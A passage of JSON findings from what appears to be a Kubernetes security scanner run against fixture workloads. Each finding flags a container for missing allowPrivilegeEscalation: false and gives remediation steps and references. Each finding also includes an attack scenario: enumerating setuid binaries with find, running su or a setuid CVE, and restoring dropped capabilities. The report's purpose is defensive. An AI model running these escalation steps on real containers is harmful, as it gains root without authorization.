    "description": "Container `app` in `Deployment/containersec-fixtures/containersec-limits` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-limits",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-limits`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n containersec-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:containersec-fixtures:containersec-probes:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/containersec-fixtures/containersec-probes`",
    "description": "Container `app` in `Deployment/containersec-fixtures/containersec-probes` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-probes",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-probes`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n containersec-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:csr-fixtures:csr-mint-app:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/csr-fixtures/csr-mint-app`",
    "description": "Container `app` in `Deployment/csr-fixtures/csr-mint-app` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "csr-mint-app",
      "namespace": "csr-fixtures",
      "api_group": "apps"
    },
    "namespace": "csr-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/csr-fixtures/csr-mint-app`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n csr-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:csr-fixtures:csr-sign-app:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/csr-fixtures/csr-sign-app`",
    "description": "Container `app` in `Deployment/csr-fixtures/csr-sign-app` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "csr-sign-app",
      "namespace": "csr-fixtures",
      "api_group": "apps"
    },
    "namespace": "csr-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/csr-fixtures/csr-sign-app`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n csr-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:flat-network:unmatched:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/flat-network/unmatched`",
    "description": "Container `app` in `Deployment/flat-network/unmatched` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "unmatched",
      "namespace": "flat-network",
      "api_group": "apps"
    },
    "namespace": "flat-network",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/flat-network/unmatched`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n flat-network -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:foothold-fixtures:foothold-priv-app:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/foothold-fixtures/foothold-priv-app`",
    "description": "Container `app` in `Deployment/foothold-fixtures/foothold-priv-app` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "foothold-priv-app",
      "namespace": "foothold-fixtures",
      "api_group": "apps"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/foothold-fixtures/foothold-priv-app`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n foothold-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:foothold-fixtures:foothold-quiet-app:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/foothold-fixtures/foothold-quiet-app`",
    "description": "Container `app` in `Deployment/foothold-fixtures/foothold-quiet-app` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "foothold-quiet-app",
      "namespace": "foothold-fixtures",
      "api_group": "apps"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/foothold-fixtures/foothold-quiet-app`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n foothold-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:gw-workloads:gw-web:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/gw-workloads/gw-web`",
    "description": "Container `app` in `Deployment/gw-workloads/gw-web` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "gw-web",
      "namespace": "gw-workloads",
      "api_group": "apps"
    },
    "namespace": "gw-workloads",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/gw-workloads/gw-web`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
